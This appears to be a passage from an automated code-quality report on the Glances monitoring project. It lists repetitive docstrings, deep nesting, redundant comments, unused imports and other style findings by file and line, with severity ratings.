HIGHglances/plugins/containers/__init__.py541 # Only process if stats exist (and non null) and display plugin enable...COMMENT
HIGHglances/plugins/vms/__init__.py258 # Only process if stats exist (and non null) and display plugin enable...COMMENT
Cross-File Repetition21 hits · 105 pts
SeverityFileLineSnippetContext
HIGHtests/test_plugin_load.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_cpu.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_memswap.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_processcount.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_mem.py0test that get_items_history_list returns the history items.STRING
HIGHtests/test_plugin_load.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_cpu.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_processcount.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_mem.py0test that msg_curse returns properly formatted entries.STRING
HIGHtests/test_plugin_network.py0test that msg_curse returns empty without max_width.STRING
HIGHtests/test_plugin_fs.py0test that msg_curse returns empty without max_width.STRING
HIGHtests/test_plugin_diskio.py0test that msg_curse returns empty without max_width.STRING
HIGHtests/test_plugin_sensors.py0test that msg_curse returns empty without max_width.STRING
HIGHtests-data/issues/issue3319.py0exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defaSTRING
HIGHtests-data/issues/issue3290.py0exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defaSTRING
HIGHglances/globals.py0exit the function if it takes more than 'seconds' seconds to complete. in this case, return the value of 'default' (defaSTRING
HIGHglances/plugins/plugin/model.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/system/__init__.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/now/__init__.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/cloud/__init__.py0return the string to display in the curse interface.STRING
HIGHglances/plugins/uptime/__init__.py0return the string to display in the curse interface.STRING
Deep Nesting64 hits · 61 pts
SeverityFileLineSnippetContext
LOWtests/test_core.py91CODE
LOWtests/test_main.py18CODE
LOWtests/test_restful.py116CODE
LOWtests-data/tools/csvcheck.py15CODE
LOWglances/stats_client.py32CODE
LOWglances/standalone.py33CODE
LOWglances/web_list.py38CODE
LOWglances/config.py201CODE
LOWglances/config.py354CODE
LOWglances/globals.py303CODE
LOWglances/globals.py431CODE
LOWglances/globals.py531CODE
LOWglances/globals.py678CODE
LOWglances/globals.py747CODE
LOWglances/globals.py807CODE
LOWglances/client.py157CODE
LOWglances/__init__.py125CODE
LOWglances/servers_list_static.py27CODE
LOWglances/stats.py148CODE
LOWglances/stats.py195CODE
LOWglances/ports_list.py28CODE
LOWglances/amps/amp.py58CODE
LOWglances/amps/systemv/__init__.py54CODE
LOWglances/amps/systemd/__init__.py57CODE
LOWglances/plugins/memswap/__init__.py70CODE
LOWglances/plugins/wifi/__init__.py139CODE
LOWglances/plugins/processlist/__init__.py1016CODE
LOWglances/plugins/sensors/__init__.py200CODE
LOWglances/plugins/sensors/__init__.py215CODE
LOWglances/plugins/sensors/__init__.py355CODE
LOWglances/plugins/gpu/cards/arm.py203CODE
LOWglances/plugins/gpu/cards/arm.py295CODE
LOWglances/plugins/plugin/model.py348CODE
LOWglances/plugins/plugin/model.py475CODE
LOWglances/plugins/plugin/model.py826CODE
LOWglances/plugins/plugin/model.py927CODE
LOWglances/plugins/plugin/model.py1334CODE
LOWglances/plugins/plugin/model.py1337CODE
LOWglances/plugins/npu/cards/intel.py94CODE
LOWglances/plugins/npu/cards/rockchip.py90CODE
LOWglances/plugins/npu/cards/amd.py98CODE
LOWglances/plugins/system/__init__.py82CODE
LOWglances/plugins/system/__init__.py182CODE
LOWglances/plugins/system/__init__.py228CODE
LOWglances/plugins/raid/__init__.py68CODE
LOWglances/plugins/percpu/__init__.py143CODE
LOWglances/plugins/folders/__init__.py98CODE
LOWglances/plugins/containers/engines/podman.py78CODE
LOWglances/plugins/containers/engines/lxd.py164CODE
LOWglances/plugins/ports/__init__.py178CODE
LOWglances/exports/export.py163CODE
LOWglances/exports/export.py303CODE
LOWglances/exports/glances_clickhouse/__init__.py36CODE
LOWglances/exports/glances_clickhouse/__init__.py122CODE
LOWglances/exports/glances_clickhouse/__init__.py191CODE
LOWglances/exports/glances_timescaledb/__init__.py95CODE
LOWglances/exports/glances_timescaledb/__init__.py169CODE
LOWglances/exports/glances_mqtt/__init__.py111CODE
LOWglances/exports/glances_duckdb/__init__.py94CODE
LOWglances/outputs/glances_stdout_issue.py65CODE
4 more matches not shown…
Redundant / Tautological Comments31 hits · 50 pts
SeverityFileLineSnippetContext
LOWtests/test_core.py341 # Check if number of processes in the list equal counterCOMMENT
LOWtests/test_core.py1001 # Check if history_max_size=3 is OKCOMMENT
LOW⚡tests/test_core.py1141 # Set field to 0 (should be hidden)COMMENT
LOW⚡tests/test_core.py1147 # Set field to 0 (should be hidden)COMMENT
LOW⚡tests/test_core.py1153 # Set field to 1 (should not be hidden)COMMENT
LOWtests/test_export_prometheus.sh17# Check if we can access the Prometheus metrics endpointCOMMENT
LOWtests/test_restful.py90 # Check if result of first call is equal to second callCOMMENT
LOWglances/web_list.py123 # Add the server to the listCOMMENT
LOWglances/events_list.py158 # Check if the weight is > to the minimal threshold valueCOMMENT
LOWglances/events_list.py306 # Add the event to the listCOMMENT
LOWglances/logger.py86 # Check if a specific configuration is availableCOMMENT
LOWglances/processes.py844 # Check if a specific sort should be doneCOMMENT
LOWglances/servers_list_static.py76 # Add the server to the listCOMMENT
LOWglances/stats.py49 # Check if the attribute starts with 'get'COMMENT
LOWglances/folder_list.py82 # Add the item to the listCOMMENT
LOWglances/ports_list.py94 # Add the server to the listCOMMENT
LOWglances/plugins/sensors/__init__.py382 # Add sensor to the listCOMMENT
LOWglances/plugins/plugin/model.py1196 # Check if a shortname is definedCOMMENT
LOWglances/plugins/plugin/model.py1204 # Check if unit is defined and get the short unit char in the unit_sort dictCOMMENT
LOWglances/plugins/plugin/model.py1215 # Check if unit is defined and get the unit type unit_type dictCOMMENT
LOWglances/plugins/plugin/model.py1345 # Check if the field exist (avoid error on some OS where some fields are not available)COMMENT
LOWglances/plugins/folders/__init__.py81 # Check if the glances_folder instance is initCOMMENT
LOWglances/plugins/vms/engines/virsh.py22# Check if virsh binary existCOMMENT
LOWglances/plugins/vms/engines/multipass.py20# Check if multipass binary existCOMMENT
LOWglances/exports/export.py232 # Add the measurement to the listCOMMENT
LOWglances/exports/glances_graph/__init__.py52 # Check if output folder is writeableCOMMENT
LOW⚡glances/outputs/glances_restful_api.py824 # Check if JWT is availableCOMMENT
LOW⚡glances/outputs/glances_restful_api.py831 # Check if password authentication is enabledCOMMENT
LOWglances/outputs/glances_stdout_issue.py122 # Display the resultCOMMENT
LOWglances/outputs/glances_stdout_csv.py130 # Check if the plugin exist and is enableCOMMENT
LOWglances/outputs/glances_stdout.py57 # Check if the plugin exist and is enableCOMMENT
Unused Imports13 hits · 12 pts
SeverityFileLineSnippetContext
LOWtests/test_clickhouse_sanitize.py25CODE
LOWtests/test_export_timescaledb_list.py24CODE
LOWglances/globals.py19CODE
LOWglances/globals.py24CODE
LOWglances/globals.py30CODE
LOWglances/globals.py31CODE
LOWglances/globals.py31CODE
LOWglances/globals.py31CODE
LOWglances/globals.py35CODE
LOWglances/globals.py35CODE
LOWglances/globals.py36CODE
LOWglances/globals.py36CODE
LOWglances/globals.py37CODE
Fake / Example Data10 hits · 11 pts
SeverityFileLineSnippetContext
LOW⚡tests/test_browser_tui.py379 # The password should remain as 'placeholder' (not replaced by saved hash)COMMENT
LOW⚡tests/test_browser_tui.py300 'password': 'placeholder',CODE
LOW⚡tests/test_browser_tui.py317 'password': 'placeholder',CODE
LOW⚡tests/test_browser_tui.py374 'password': 'placeholder',CODE
LOW⚡tests/test_browser_tui.py380 assert server['password'] == 'placeholder'CODE
LOW⚡tests/test_browser_tui.py392 'password': 'placeholder',CODE
LOW⚡tests/test_browser_tui.py398 assert server['password'] == 'placeholder'CODE
LOWdocs/_static/glances-flame.html344 */t=e.nmd(t),function(){var i,o="Expected a function",u="__lodash_hash_undefined__",a="__lodash_placeholder__",c=16,f=3COMMENT
LOWglances/outputs/static/public/glances.js21 */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3COMMENT
LOWglances/outputs/static/public/browser.js15 */t=r.nmd(t),function(){var i,o="Expected a function",s="__lodash_hash_undefined__",a="__lodash_placeholder__",l=16,c=3COMMENT
Docstring Block Structure1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHglances/jwt_utils.py61Create a JWT access token for the given username. Args: username: The username to encode in the tokSTRING
AI Structural Patterns3 hits · 3 pts
SeverityFileLineSnippetContext
LOWtests/test_plugin_lxd.py46CODE
LOWglances/plugins/plugin/model.py826CODE
LOWglances/outputs/glances_bars.py27CODE
Slop Phrases2 hits · 3 pts
SeverityFileLineSnippetContext
LOWtests-data/issues/issue3341-NATS/pub.py18# To run this test script, make sure you have a NATS server running locally.COMMENT
LOWtests-data/issues/issue3341-NATS/sub.py32# To run this test script, make sure you have a NATS server running locally.COMMENT
AI Slop Vocabulary2 hits · 2 pts
SeverityFileLineSnippetContext
LOWglances/globals.py727 # Otherwise just add the current charCOMMENT
MEDIUMglances/exports/export.py253 """Return fields description in order to init stats in a server."""STRING
Modern Structural Boilerplate2 hits · 2 pts
SeverityFileLineSnippetContext
LOWglances/gpu_percent.py1__all__ = ["get_gpu_mem", "get_gpu_proc", "gpu_mem", "gpu_proc"]CODE
LOWglances/cpu_percent.py19__all__ = ["cpu_percent"]CODE